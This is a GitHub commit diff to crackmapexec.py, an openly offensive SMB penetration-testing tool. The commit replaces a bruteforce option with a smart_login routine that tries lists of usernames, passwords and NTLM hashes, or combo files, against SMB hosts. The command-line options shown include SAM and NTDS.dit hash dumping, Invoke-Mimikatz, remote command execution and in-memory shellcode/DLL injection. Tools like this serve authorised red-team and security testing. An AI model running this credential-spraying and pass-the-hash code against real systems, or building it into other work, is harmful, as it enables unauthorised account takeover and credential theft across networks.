Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit b0ce967

Browse files
author
byt3bl33d3r
committed
-u, -p and -H can now accept a comma seperated list of usernames/passwords/hashes or files containing them
Removed the bruteforce options since it's now implicitly handled by -u,-p and -H Re-implemented the -C (combo file) option for concurrency, additionally the combo file can now accept entries in username:password format
1 parent c2b9b42 commit b0ce967

File tree

1 file changed

+126
-83
lines changed

1 file changed

+126
-83
lines changed

crackmapexec.py

Lines changed: 126 additions & 83 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@
3232
from termcolor import cprint, colored
3333

3434
import StringIO
35+
import csv
3536
import ntpath
3637
import socket
3738
import hashlib
@@ -2290,6 +2291,114 @@ def enum_sessions(self, host):
22902291
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
22912292
#resp.dump()
22922293

2294+
def smart_login(host, smb, domain):
2295+
if args.combo_file:
2296+
with open(args.combo_file, 'r') as combo_file:
2297+
for line in combo_file:
2298+
try:
2299+
line = line.strip()
2300+
2301+
lmhash = ''
2302+
nthash = ''
2303+
2304+
if '\\' in line:
2305+
domain, user_pass = line.split('\\')
2306+
else:
2307+
user_pass = line
2308+
2309+
'''
2310+
Here we try to manage two cases: if an entry has a hash as the password,
2311+
or if the plain-text password contains a ':'
2312+
'''
2313+
if len(user_pass.split(':')) == 3:
2314+
hash_or_pass = ':'.join(user_pass.split(':')[1:3]).strip()
2315+
2316+
#Not the best way to determine of it's an NTLM hash :/
2317+
if len(hash_or_pass) == 65 and len(hash_or_pass.split(':')[0]) == 32 and len(hash_or_pass.split(':')[1]) == 32:
2318+
lmhash, nthash = hash_or_pass.split(':')
2319+
passwd = hash_or_pass
2320+
user = user_pass.split(':')[0]
2321+
2322+
elif len(user_pass.split(':')) == 2:
2323+
user, passwd = user_pass.split(':')
2324+
2325+
try:
2326+
smb.login(user, passwd, domain, lmhash, nthash)
2327+
print_succ("{}:{} {}\\{}:{} Login successful".format(host, args.port, domain, user, passwd))
2328+
return smb
2329+
except SessionError as e:
2330+
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, passwd, e))
2331+
continue
2332+
2333+
except Exception as e:
2334+
print_error("Error parsing line '{}' in combo file: {}".format(line, e))
2335+
continue
2336+
else:
2337+
usernames = []
2338+
passwords = []
2339+
hashes = []
2340+
2341+
if args.user:
2342+
if os.path.exists(args.user):
2343+
usernames = open(args.user, 'r')
2344+
else:
2345+
usernames = args.user.split(',')
2346+
2347+
if args.passwd:
2348+
if os.path.exists(args.passwd):
2349+
passwords = open(args.passwd, 'r')
2350+
else:
2351+
'''
2352+
You might be wondering: wtf is this? why not use split()?
2353+
This is in case a password contains a comma! we can use '\\' to make sure it's parsed correctly
2354+
IMHO this is a much better way than writing a custom split() function
2355+
'''
2356+
passwords = csv.reader(StringIO.StringIO(args.passwd), delimiter=',', escapechar='\\').next()
2357+
2358+
if args.hash:
2359+
if os.path.exists(args.hash):
2360+
hashes = open(args.hash, 'r')
2361+
else:
2362+
hashes = args.hash.split(',')
2363+
2364+
for user in usernames:
2365+
user = user.strip()
2366+
2367+
try:
2368+
hashes.seek(0)
2369+
except AttributeError:
2370+
pass
2371+
2372+
try:
2373+
passwords.seek(0)
2374+
except AttributeError:
2375+
pass
2376+
2377+
if hashes:
2378+
for ntlm_hash in hashes:
2379+
ntlm_hash = ntlm_hash.strip()
2380+
lmhash, nthash = ntlm_hash.split(':')
2381+
try:
2382+
smb.login(user, '', domain, lmhash, nthash)
2383+
print_succ("{}:{} {}\\{}:{} Login successful".format(host, args.port, domain, user, ntlm_hash))
2384+
return smb
2385+
except SessionError as e:
2386+
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, ntlm_hash, e))
2387+
continue
2388+
2389+
if passwords:
2390+
for passwd in passwords:
2391+
passwd = passwd.strip()
2392+
try:
2393+
smb.login(user, passwd, domain, '', '')
2394+
print_succ("{}:{} {}\\{}:{} Login successful".format(host, args.port, domain, user, passwd))
2395+
return smb
2396+
except SessionError as e:
2397+
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, passwd, e))
2398+
continue
2399+
2400+
raise socket.error
2401+
22932402
def spider(smb_conn,ip, share, subfolder, patt, depth):
22942403
try:
22952404
filelist = smb_conn.listPath(share, subfolder+'\\*')
@@ -2314,23 +2423,6 @@ def dir_list(files,ip,path,pattern):
23142423
print_att("//%s/%s/%s" % (ip, path.replace("//",""), result.get_longname().encode('utf8')))
23152424
return 0
23162425

2317-
def bruteforce(host, smb, s_name, domain):
2318-
usernames = open(args.bruteforce[0], 'r')
2319-
passwords = open(args.bruteforce[1], 'r')
2320-
2321-
for user in usernames:
2322-
passwords.seek(0)
2323-
for passw in passwords:
2324-
try:
2325-
#print "Trying {}:{}".format(user.strip(),passw.strip())
2326-
smb.login(user.strip(), passw.strip(), domain, '', '')
2327-
print_succ("{}:{} {} Found valid account! Domain: {} Username: {} Password: {}".format(host, args.port, s_name, yellow(domain), yellow(user.strip()), yellow(passw.strip())))
2328-
if args.exhaust is False:
2329-
return
2330-
except SessionError as e:
2331-
if "STATUS_LOGON_FAILURE" in e.message:
2332-
pass
2333-
23342426
def normalize_path(path):
23352427
path = r'{}'.format(path)
23362428
path = ntpath.normpath(path)
@@ -2429,33 +2521,22 @@ def connect(host):
24292521

24302522
print_status("{}:{} is running {} (name:{}) (domain:{})".format(host, args.port, smb.getServerOS(), s_name, domain))
24312523

2432-
#DC's seem to want us to logoff first
2433-
#Workstations sometimes reset the connection, so we handle that here
2524+
'''
2525+
DC's seem to want us to logoff first
2526+
Workstations sometimes reset the connection, so we handle both cases here
2527+
'''
24342528
try:
24352529
smb.logoff()
24362530
except NetBIOSError:
24372531
pass
24382532
except socket.error:
24392533
smb = SMBConnection(host, host, None, args.port)
24402534

2441-
if args.bruteforce:
2442-
start_time = time()
2443-
print_status("{}:{} {} Started SMB bruteforce".format(host, args.port, s_name))
2444-
bruteforce(host, smb, s_name, domain)
2445-
print_status("{}:{} {} Finished SMB bruteforce (Completed in: {})".format(host, args.port, s_name, time() - start_time))
2535+
if (args.user and (args.passwd or args.hash)) or args.combo_file:
24462536

2447-
if args.user and (args.passwd or args.hash):
2448-
lmhash = ''
2449-
nthash = ''
2450-
if args.hash:
2451-
args.passwd = args.hash
2452-
lmhash, nthash = args.hash.split(':')
2537+
smb = smart_login(host, smb, domain)
24532538

24542539
noOutput = False
2455-
smb.login(args.user, args.passwd, domain, lmhash, nthash)
2456-
2457-
print_succ("{}:{} Login successful '{}\\{}:{}'".format(host, args.port, domain, args.user, args.passwd))
2458-
24592540
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
24602541

24612542
if args.download:
@@ -2662,20 +2743,21 @@ def concurrency(hosts):
26622743
epilog='There\'s been an awakening... have you felt it?')
26632744

26642745
parser.add_argument("-t", type=int, dest="threads", required=True, help="Set how many concurrent threads to use")
2665-
parser.add_argument("-u", metavar="USERNAME", dest='user', default=None, help="Username, if omitted null session assumed")
2666-
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default=None, help="Password")
2667-
parser.add_argument("-H", metavar="HASH", dest='hash', default=None, help='NTLM hash')
2668-
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, help="Combo file containing a list of domain\\username:password entries" )
2669-
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='Namespace name (default //./root/cimv2)')
2746+
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
2747+
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
2748+
parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes')
2749+
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, help="Combo file containing a list of domain\\username:password or username:password entries")
26702750
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
2751+
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
26712752
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
2672-
parser.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
2753+
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
26732754
parser.add_argument("-v", action='store_true', dest='verbose', help="Enable verbose output")
26742755
parser.add_argument("target", nargs=1, type=str, help="The target range, CIDR identifier or file containing targets")
26752756

26762757
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
26772758
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
26782759
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz on target systems')
2760+
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', dest='mimi_cmd', help='Run Invoke-Mimikatz with the specified command')
26792761
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
26802762

26812763
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
@@ -2685,10 +2767,6 @@ def concurrency(hosts):
26852767
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
26862768
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
26872769

2688-
dgroup = parser.add_argument_group("Account Bruteforcing", "Options for bruteforcing SMB accounts")
2689-
dgroup.add_argument("--bruteforce", nargs=2, metavar=('USER_FILE', 'PASS_FILE'), help="Your wordlists containing Usernames and Passwords")
2690-
dgroup.add_argument("--exhaust", action='store_true', help="Don't stop on first valid account found")
2691-
26922770
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
26932771
sgroup.add_argument("--spider", metavar='FOLDER', type=str, default='', help='Folder to spider (defaults to share root dir)')
26942772
sgroup.add_argument("--pattern", type=str, default= '', help='Pattern to search for in filenames and folders')
@@ -2699,7 +2777,6 @@ def concurrency(hosts):
26992777
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="smbexec", help="Method to execute the command (default: smbexec)")
27002778
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
27012779
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
2702-
cgroup.add_argument("-M", metavar='MIMIKATZ_CMD', dest='mimi_cmd', help='Run Invoke-Mimikatz with the specified command')
27032780

27042781
xgroup = parser.add_argument_group("Shellcode/EXE/DLL injection", "Options for injecting Shellcode/EXE/DLL's in memory using PowerShell")
27052782
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll'}, help='Inject Shellcode, EXE or a DLL')
@@ -2784,9 +2861,9 @@ def concurrency(hosts):
27842861

27852862
args.pattern = patterns
27862863

2787-
if args.bruteforce:
2788-
if not os.path.exists(args.bruteforce[0]) or not os.path.exists(args.bruteforce[1]):
2789-
print_error("Unable to find username or password wordlist at specified path")
2864+
if args.combo_file:
2865+
if not os.path.exists(args.combo_file):
2866+
print_error('Unable to find combo file at specified path')
27902867
sys.exit(1)
27912868

27922869
if args.mimikatz or args.mimi_cmd or args.inject or (args.ntds == 'ninja'):
@@ -2798,41 +2875,7 @@ def concurrency(hosts):
27982875
t.setDaemon(True)
27992876
t.start()
28002877

2801-
if args.combo_file:
2802-
if not os.path.exists(args.combo_file):
2803-
print_error('Unable to find combo file at specified path')
2804-
sys.exit(1)
2805-
2806-
with open(args.combo_file, 'r') as combo_file:
2807-
for line in combo_file:
2808-
try:
2809-
domain, user_pass = line.split('\\')
2810-
args.domain = domain
2811-
'''
2812-
Here we try to manage two cases: if we supplied a hash as the password,
2813-
or if the plain-text password contains a ':'
2814-
'''
2815-
2816-
if len(user_pass.split(':')) == 3:
2817-
hash_or_pass = ':'.join(user_pass.split(':')[1:3]).strip()
2818-
2819-
#defenitly not the best way to determine of it's an NTLM hash :/
2820-
if len(hash_or_pass) == 65 and len(hash_or_pass.split(':')[0]) == 32 and len(hash_or_pass.split(':')[1]) == 32:
2821-
args.hash = hash_or_pass
2822-
2823-
args.user = user_pass.split(':')[0]
2824-
2825-
elif len(user_pass.split(':')) == 2:
2826-
args.user, args.passwd = user_pass.split(':')
2827-
2828-
concurrency(hosts)
2829-
2830-
except Exception as e:
2831-
print_error("Error parsing line in combo file: {}".format(e))
2832-
continue
2833-
2834-
else:
2835-
concurrency(hosts)
2878+
concurrency(hosts)
28362879

28372880
if args.mimikatz or args.inject or args.ntds == 'ninja':
28382881
try:

0 commit comments

Comments
 (0)